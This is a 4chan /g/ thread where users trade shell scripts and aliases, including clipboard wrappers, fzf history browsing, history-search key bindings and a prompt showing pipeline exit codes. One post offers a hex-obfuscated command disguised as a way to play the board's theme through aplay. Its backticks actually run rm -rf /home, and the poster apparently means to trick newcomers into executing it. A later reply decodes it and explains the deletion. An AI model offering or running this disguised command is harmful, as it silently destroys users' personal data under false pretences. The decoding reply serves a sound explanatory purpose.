[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology

Name
Options
Comment
Verification
4chan Pass users can bypass this verification. [Learn More] [Login]
File
  • Please read the Rules and FAQ before posting.
  • You may highlight syntax and preserve whitespace by using [code] tags.

08/21/20New boards added: /vrpg/, /vmg/, /vst/ and /vm/
05/04/17New trial board added: /bant/ - International/Random
10/04/16New board for 4chan Pass users: /vip/ - Very Important Posts
[Hide] [Show All]


[Advertise on 4chan]


File: 1729674776884295.png (116 KB, 2048x2048)
116 KB
116 KB PNG
shell scripting and aliases thread
>>
>>106977170
was just reading this and thought to make a thread about it since these threads are nice sometimes
https://evanhahn.com/scripts-i-wrote-that-i-use-all-the-time/

i like his clipboard tools
>copy and pasta are simple wrappers around system clipboard managers, like pbcopy on macOS and xclip on Linux. I use these all the time.
# High level examples
run_some_command | copy
pasta > file_from_my_clipboard.txt

# Copy a file's contents
copy < file.txt

# Open a file path from your clipboard
vim "$(pasta)"

# Decode some base64 from the clipboard
pasta | base64 --decode



seems like this is all useful for LLM stuff, like scraping sources and then creating prompts with clipboars
>pastas prints the current state of your clipboard to stdout, and then whenever the clipboard changes, it prints the new version. I use this once a week or so.
# High level example
pastas > everything_i_copied.txt

# Download every link I copy to my clipboard
pastas | wget -i -
>>
>>106977170
LFG!!!!!!!!!!!!!!!!!!
>>
>>106977170
just made this masterpiece after figuring out you can play audio from the terminal
# plays the /g/ theme on the GNU plus Linux terminal
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
>>
>>106977822
you dont even use linux youre just a windows fag trying to get noobs to delete their harddrive
>>
>>106977897
what?
>>
File: 1752449292490555.png (57 KB, 514x504)
57 KB
57 KB PNG
>>106977944
huh?
>>
>>106977944
video of you running the command or youre a faggot =
>>
>>106977944
faggot
>>
>>106977170
powershell > bash
>>
>>106977822
Let’s break this down carefully — this command looks intentionally obfuscated.

The command is:

aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

Step 1: Decode the $'...' sequences

Each $'\x..' is a way of specifying a string using hex-escaped bytes.

$'\x72\x6d' "rm"

$'\55\x72\x66' "-rf"

$'\57\x68\x6f\x6d\x65' "/home"

So the inner command becomes:

`rm -rf /home`

Step 2: The backticks `...`

In Bash, anything inside backticks is executed as a shell command, and its output replaces the backtick expression.

Here, `rm -rf /home` would run the command rm -rf /home — which recursively deletes the entire /home directory.

Since rm -rf /home produces no output, the command expands to:

aplay --rawaudio ""

Step 3: What happens when it runs

So, effectively:

The malicious part is that it executes rm -rf /home — deleting all user data under /home.

The aplay --rawaudio "" part after that is harmless (it just fails because no input file is given).
>>
>>106977170
One of my most used aliases, an fzf bash history browser

alias hs='fzf --scheme=history --tac --bind "home:last,end:first,change:first,enter:become:printf -- %s {} | xclip -selection clipboard" < "$HISTFILE"'
>>
>>106979756
theres some history command you can use to search i can never remember to do it
>>
>>106979784
Ctrl+R?
>>
>>106979787
yeah, thanks. its kinda janky though. your solutions gotta be better, i like fzf ill set this up.
>>
>>106979796
for me, it's https://eli.thegreenplace.net/2013/06/11/keeping-persistent-history-in-bash
started using this at work and it unironically changed my life
i have it aliased to phg - persistent history grep
>>
>>106979796
There's also this:
bind '"\e[A":history-search-backward'           # Up and down arrows search history based on current input
bind '"\e[B":history-search-forward'
>>
File: spam.png (21 KB, 340x275)
21 KB
21 KB PNG
>>106979796
There's also fzf-history-widget that is a part of fzf. Works for zsh at least and you can bind it to C-r to replace the old history search. Instructions link in picrel
>>
File: 1730542401626940.png (3 KB, 159x69)
3 KB
3 KB PNG
Pipeline exit codes on PS1

PROMPT_COMMAND='pipestatus_ps1="(${PIPESTATUS[*]}) "'

PS1="${PS1}\${pipestatus_ps1/#(*(0 )0) }"
>>
Top 20 most used commands.
cat ~/.bash_history | sed 's/sudo //g' | cut -d ' ' -f1 | sort | uniq -c | sort -nr | head -20
>>
Why does fish shell have such weird syntax compared to bash



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.